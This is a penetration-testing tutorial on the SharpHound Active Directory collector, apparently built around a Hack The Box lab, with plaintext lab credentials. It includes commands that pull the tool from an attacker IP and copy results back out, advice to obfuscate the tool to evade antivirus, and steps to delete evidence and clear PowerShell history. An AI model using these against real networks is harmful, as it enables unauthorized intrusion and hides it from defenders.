SharpHound

Collect, import and verify

Use a collector version supported by your BloodHound deployment; obtain the compatible collector from that deployment’s documented downloads. The report uses graph collection to find object-control paths, but a graph edge is an investigation lead until effective rights and current membership are checked.

.\SharpHound.exe --help
.\SharpHound.exe --CollectionMethods Default --Domain example.test --OutputDirectory 'C:\Lab\Evidence'

Run under the intended domain identity and record collection time and failures. Import the resulting archive into the compatible BloodHound UI. Mark an account as owned only after validating its credential or session. Open each proposed edge and check the underlying principal, target object and required operation; stale data, nested groups and a changed token can alter the result. Collection does not require disabling security software as a general prerequisite. Read SharpHound documentation and the permission explanations.

Complete guide to using SharpHound for Active Directory enumeration

📋 Table of Contents

• Overview
• Upload Methods
• Basic Usage
• Collection Methods
• Advanced Options
• BloodHound Python Equivalent
• Download Results
• Troubleshooting

🎯 Overview

SharpHound is the official data collector for BloodHound written in C#. It enumerates Active Directory environments to map attack paths and privilege escalation opportunities.

Key Features

• ✅ Native Windows execution (no dependencies)
• ✅ Multiple collection methods
• ✅ LDAP and API-based enumeration
• ✅ Stealth and performance options
• ✅ Outputs ZIP files for BloodHound ingestion

Important Version Information

SharpHound Versions:

• Collector build: Record the version you actually run; obtain the supported collector from your BloodHound deployment
• Compatibility: Designed for BloodHound Community Edition (CE)
• Download: Use a deployment-compatible release
• Runtime: Check the chosen release’s runtime and architecture requirements

⚠️ Note: Make sure your SharpHound version matches your BloodHound version! You can check the compatible version in BloodHound CE’s web UI under Settings → Download Collectors.

📤 Upload Methods to Target

Method 1: SMB Server (impacket-smbserver)

On Kali Linux:

# Start SMB server in directory containing SharpHound.exe
sudo impacket-smbserver share . -smb2support -username user -password pass

# Or without authentication (less secure)
sudo impacket-smbserver share . -smb2support

On Target Windows:

# With authentication
net use \\10.10.14.5\share /user:user pass
copy \\10.10.14.5\share\SharpHound.exe .

# Without authentication
copy \\10.10.14.5\share\SharpHound.exe .

# Alternative: Run directly from SMB share
\\10.10.14.5\share\SharpHound.exe -c All

Method 2: Python Web Server

On Kali Linux:

# Python 3 (default in Kali)
python3 -m http.server 8000

# Python 3 with specific IP binding
python3 -m http.server 8000 --bind 10.10.14.5

On Target Windows:

# PowerShell Download
Invoke-WebRequest -Uri http://10.10.14.5:8000/SharpHound.exe -OutFile SharpHound.exe

# Short form
iwr -uri http://10.10.14.5:8000/SharpHound.exe -o SharpHound.exe

# Certutil (alternative method)
certutil -urlcache -f http://10.10.14.5:8000/SharpHound.exe SharpHound.exe

# BITSAdmin
bitsadmin /transfer mydownload /download /priority high http://10.10.14.5:8000/SharpHound.exe C:\Temp\SharpHound.exe

Method 3: WinRM Upload (evil-winrm)

Using evil-winrm:

# Connect to target
evil-winrm -i 10.10.11.41 -u judith.mader -p judith09

# Once connected, upload SharpHound
upload /path/to/SharpHound.exe

Within evil-winrm session:

*Evil-WinRM* PS C:\Users\judith.mader\Documents> upload /opt/SharpHound.exe
*Evil-WinRM* PS C:\Users\judith.mader\Documents> .\SharpHound.exe -c All

Method 4: Base64 Encoding (Small Files)

On Kali Linux:

# Encode SharpHound
base64 -w 0 SharpHound.exe > sharphound_b64.txt

On Target Windows:

# Decode and save (paste base64 string)
$b64 = "TVqQAAMAAAAEAAAA..." # Your base64 string
[IO.File]::WriteAllBytes("SharpHound.exe", [Convert]::FromBase64String($b64))

🚀 Basic Usage

Standard Execution

# Run all collection methods (most common)
.\SharpHound.exe --CollectionMethods All

# Short form also works
.\SharpHound.exe -c All

# Run with specific collection methods
.\SharpHound.exe -c Session,LoggedOn

# Specify domain explicitly
.\SharpHound.exe -c All -d certified.htb

# Custom output directory
.\SharpHound.exe -c All --OutputDirectory C:\Temp

# Custom output prefix
.\SharpHound.exe -c All --OutputPrefix custom_name

# Automatically create ZIP file (recommended)
.\SharpHound.exe -c All --ZipFileName output.zip

🎯 Collection Methods

Combining Methods

# Multiple methods
.\SharpHound.exe -c Group,Session,Trusts

# Comprehensive collection
.\SharpHound.exe -c All

# LDAP-only (stealth, no computer connections)
.\SharpHound.exe -c DCOnly

⚙️ Advanced Options

Domain Controller Specification

# Specify domain controller by IP
.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41

# Specify by hostname
.\SharpHound.exe -c All -d certified.htb --DomainController DC01.certified.htb

# All domains in the forest; use only when that whole scope is intended
.\SharpHound.exe -c All -d certified.htb --SearchForest

Authentication Options

# Use LDAP credentials (alternate to current user context)
.\SharpHound.exe -c All --LdapUsername judith.mader --LdapPassword judith09

# Run with different user context using runas
runas /user:certified.htb\judith.mader /netonly cmd
# Then run SharpHound from that context
.\SharpHound.exe -c All -d certified.htb

# Override username for NetSessionEnum
.\SharpHound.exe -c Session --OverrideUserName judith.mader

Performance & Stealth

# Stealth mode (slower, LDAP-focused, removes noisy methods)
.\SharpHound.exe -c All --Stealth

# Throttle requests (milliseconds between requests)
.\SharpHound.exe -c All --Throttle 1000

# Jitter (randomize delay, percentage)
.\SharpHound.exe -c All --Jitter 20

# Skip port scan (don't check if 445 is open)
.\SharpHound.exe -c All --SkipPortCheck

# Keep the collector cache in memory
.\SharpHound.exe -c All --MemCache

# Disable certificate verification (LDAPS)
.\SharpHound.exe -c All --DisableCertVerification

# Disable Kerberos signing/sealing (not recommended)
.\SharpHound.exe -c All --DisableSigning

LDAP Options

# Specify LDAP port (default 389)
.\SharpHound.exe -c All --LdapPort 389

# Use secure LDAP (port 636)
.\SharpHound.exe -c All --SecureLDAP

# Combine LDAPS with specific port
.\SharpHound.exe -c All --LdapPort 636 --SecureLDAP

# Use Global Catalog port
.\SharpHound.exe -c All --LdapPort 3268

Loop Collection

# Loop collection (great for session gathering)
# Loops for 2 hours, creating a ZIP file after each iteration
.\SharpHound.exe -c Session --Loop --Loopduration 02:00:00

# Loop with interval between iterations
# Runs for 3 hours, waits 10 minutes between each collection
.\SharpHound.exe -c Session --Loop --Loopduration 03:00:00 --LoopInterval 00:10:00

Exclusions & Filters

# Exclude domain controllers from enumeration
.\SharpHound.exe -c All --ExcludeDCs

# Skip registry-based enumeration
.\SharpHound.exe -c All --SkipRegistryLoggedOn

# Use specific computer list file
.\SharpHound.exe -c All --ComputerFile C:\computers.txt

# LDAP filter for computers
.\SharpHound.exe -c All --LdapFilter "(operatingSystem=*Server*)"

Output Options

# Prettify JSON output (larger files, more readable)
.\SharpHound.exe -c All --PrettyPrint

# Track computer connection status to CSV
.\SharpHound.exe -c All --TrackComputerCalls

# Random file names for output
.\SharpHound.exe -c All --RandomFilenames

🐍 BloodHound Python Equivalent

Your Original Command

sudo bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip

SharpHound Equivalent

Option 1: Direct Execution (Already authenticated as judith.mader)

# If you're already authenticated as judith.mader on Windows
.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41 --ZipFileName certified_bloodhound.zip

Option 2: Using LDAP Credentials

# Use alternate credentials via LDAP authentication
.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41 --LdapUsername judith.mader --LdapPassword judith09

Option 3: Using RunAs with Network Credentials

# Run cmd with network credentials
runas /user:certified.htb\judith.mader /netonly cmd

# In the new cmd window
.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41

Option 4: Using evil-winrm

# From Kali, connect via WinRM
evil-winrm -i 10.10.11.41 -u judith.mader -p judith09

# Upload and run SharpHound
upload /path/to/SharpHound.exe
.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41

Option 5: Using Impacket’s psexec/wmiexec

# Execute SharpHound remotely
impacket-wmiexec certified.htb/judith.mader:judith09@10.10.11.41 "C:\Temp\SharpHound.exe -c All"

Parameter Mapping

📥 Download Results

Method 1: SMB Server (Retrieve Files)

# On Windows, copy results back
copy 20241127*.zip \\10.10.14.5\share\

Method 2: Evil-WinRM Download

# In evil-winrm session
download C:\Path\To\20241127_BloodHound.zip

Method 3: Base64 Encoding (Small ZIP files)

On Windows:

# Encode the ZIP file
$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("20241127_BloodHound.zip"))
$b64 | Out-File -Encoding ASCII bloodhound_b64.txt

On Kali:

# Copy the base64 string and decode
base64 -d bloodhound_b64.txt > bloodhound_data.zip

Method 4: Python Web Server Upload

On Windows (with Python):

# Start simple HTTP server
python -m http.server 8080

# Then download from Kali
wget http://10.10.11.41:8080/20241127_BloodHound.zip

🔥 Common Usage Scenarios

Scenario 1: Quick Full Enumeration

# Complete enumeration with ZIP output
.\SharpHound.exe -c All -d certified.htb --ZipFileName certified_full.zip

Scenario 2: Session Hunting

# Loop session collection for 2 hours, checking every 10 minutes
.\SharpHound.exe -c Session --Loop --Loopduration 02:00:00 --LoopInterval 00:10:00

Scenario 3: Stealth Enumeration

# Stealth mode (LDAP-focused, removes noisy methods like LoggedOn)
.\SharpHound.exe -c All --Stealth

# Manual stealth (custom throttling and jitter)
.\SharpHound.exe -c Group,ACL,ObjectProps --Throttle 2000 --Jitter 25

Scenario 4: LDAP-Only Collection (No Computer Connections)

# DCOnly - only queries domain controller via LDAP
.\SharpHound.exe -c DCOnly -d certified.htb

# Exclude DCs from computer enumeration
.\SharpHound.exe -c All --ExcludeDCs

Scenario 5: Specific Data Only

# Only collect groups and trusts
.\SharpHound.exe -c Group,Trusts -d certified.htb

# Default collection (Group, LocalAdmin, Session, Trusts)
.\SharpHound.exe -c Default

Scenario 6: Multi-Domain Environment

# Enumerate trust relationships first
.\SharpHound.exe -c Trusts

# Then enumerate specific domains
.\SharpHound.exe -c All -d certified.htb --SearchForest

# Or enumerate entire forest
.\SharpHound.exe -c All --SearchForest

Scenario 7: Using LDAPS (Secure LDAP)

# Use LDAPS for encrypted communication
.\SharpHound.exe -c All --SecureLDAP -d certified.htb

🐛 Troubleshooting

Common Errors

“Could not resolve domain”

# Solution: Specify domain controller explicitly
.\SharpHound.exe -c All -d certified.htb --DomainController 10.10.11.41

“Access Denied”

# Verify credentials and permissions
whoami /all

# Check domain connectivity
nltest /dsgetdc:certified.htb

# Try using LDAP credentials
.\SharpHound.exe -c All --LdapUsername judith.mader --LdapPassword judith09

“LDAP connection failed”

# Try different LDAP port (Global Catalog)
.\SharpHound.exe -c All --LdapPort 3268

# Try plain LDAP
.\SharpHound.exe -c All --LdapPort 389

# Try LDAPS (secure)
.\SharpHound.exe -c All --SecureLDAP

# Inspect signing/TLS requirements and collector errors before retrying

No output file generated

# Specify output directory with write permissions
.\SharpHound.exe -c All --OutputDirectory C:\Temp

# Check for actual errors in console output
# Ensure you have permissions to current directory

“Port 445 not open” errors

# Skip only the preliminary port check; this does not bypass a blocked connection
.\SharpHound.exe -c All --SkipPortCheck

Performance Issues

# Add throttling (wait time between requests)
.\SharpHound.exe -c All --Throttle 500 --Jitter 15

# Reduce to LDAP-only collection
.\SharpHound.exe -c DCOnly

Detection/AV Issues

# Use stealth mode
.\SharpHound.exe -c All --Stealth

# Run from memory (use PowerShell wrapper)
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

# Obfuscate or recompile SharpHound from source

📊 Output Files

SharpHound generates the following files:

Import to BloodHound CE:

Open the compatible deployment’s file-ingest interface, upload the archive and verify ingest status. Starting a legacy Neo4j desktop installation is a different workflow. Python collectors produce files; they do not automatically upload them by default.

🔗 Useful Resources

• SharpHound GitHub (Official): https://github.com/SpecterOps/SharpHound
• BloodHound CE Documentation: https://bloodhound.specterops.io/
• SharpHound Flags Reference: https://bloodhound.specterops.io/collect-data/ce-collection/sharphound-flags
• Download SharpHound: https://github.com/SpecterOps/SharpHound/releases
• BloodHound GitHub: https://github.com/SpecterOps/BloodHound
• SpecterOps Blog: https://posts.specterops.io/ (latest research and updates)
• BloodHound Slack: https://bloodhoundgang.herokuapp.com/ (community support)

Alternative Collectors

• RustHound: Rust-based collector (cross-platform, AV evasion)
• AzureHound: Azure AD/Entra ID collector
• SharpHound.ps1: PowerShell wrapper for in-memory execution

💡 Pro Tips

1. Always create ZIP files - Use --ZipFileName output.zip for easier exfiltration and import
2. Use loop collection for sessions - Session data changes frequently; loop for better coverage
3. Start with Default or All collection - Get comprehensive data first, then target specific areas
4. Check SharpHound version compatibility - Match SharpHound version to your BloodHound instance
5. Use —Stealth for red teams - Automatically removes noisy collection methods
6. Leverage —SearchForest - Enumerate all domains in forest automatically (requires trust)
7. Time your collection wisely - Run during business hours for more active sessions
8. Use LDAPS when possible - --SecureLDAP encrypts LDAP traffic
9. Consider AV/EDR detection - SharpHound is heavily signatured; consider obfuscation
10. Clean up after yourself - Delete SharpHound and output files during operations
11. Document your collection - Note which methods were used and when
12. Use —LdapUsername/—LdapPassword - When you can’t use runas or current context
13. Combine with other tools - Use with PowerView, ADRecon, Certify for full coverage
14. Review collection methods - Not all methods are needed; DCOnly is great for stealth

Advanced Tips

• Registry-based collection is noisy - Consider excluding with --SkipRegistryLoggedOn
• Computer file lists work great - Use --ComputerFile to target specific systems
• Global Catalog port (3268) can sometimes bypass restrictions
• TrackComputerCalls helps identify connectivity issues
• RandomFilenames can help avoid simple file-based detections

⚠️ Operational Security

# Delete evidence after exfiltration
del SharpHound.exe
del *_BloodHound.zip
del *_computers.json
del *_users.json
# ... delete all output files

# Clear PowerShell history
Clear-History
Remove-Item (Get-PSReadlineOption).HistorySavePath

# Check for running processes
Get-Process | Where-Object {$_.ProcessName -like "*sharp*"}

Created by NetRunner | For Ethical Hacking & Penetration Testing 🎓🔐

SharpHound.ps1

# After uploading SharpHound.ps1:
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -Domain htb.local -DomainController 10.129.15.16 -LDAPUser svc-alfresco -LDAPPass s3rvice

Choose collection methods by the question

Check the compatible collector’s help for available method names. A DC-only collection is a useful first pass when the investigation is an ACL path; collecting every host first is not required.

.\SharpHound.exe --CollectionMethods DCOnly --Domain example.test --DomainController dc01.example.test --OutputDirectory 'C:\Lab\Evidence' --OutputPrefix directory
.\SharpHound.exe --CollectionMethods Session --Domain example.test --ComputerFile 'C:\Lab\hosts.txt' --TrackComputerCalls --OutputDirectory 'C:\Lab\Evidence' --OutputPrefix sessions

ComputerFile selects targets for computer collection; it should not be described as a universal filter on every LDAP object. Use the documented DN/filter options for directory scope and inspect the resulting objects.

Validate collection completeness

Get-ChildItem 'C:\Lab\Evidence' | Select-Object Name,Length,LastWriteTimeUtc
Get-FileHash 'C:\Lab\Evidence\<COLLECTED_ARCHIVE>.zip' -Algorithm SHA256

Inspect the collector log and computer-call CSV for failed/denied hosts before importing. Importing a valid ZIP proves format compatibility; it does not prove every requested method completed. Record collection identity, time, domain, methods and failures with the archive digest.

Recheck each proposed path

A graph chain is useful when every step has a current prerequisite and a concrete operation. Mark owned accounts only after validating their material. Distinguish a path drawn from historical data from one reproduced in the present environment.

Fix transport problems without obscuring them

SkipPortCheck skips a preliminary test; it does not bypass a firewall. Stealth changes collection behaviour; it does not guarantee invisibility. Preserve failed checks as coverage limits rather than weakening signing or certificate validation to manufacture a complete-looking graph. Consult the official collector documentation and flag reference.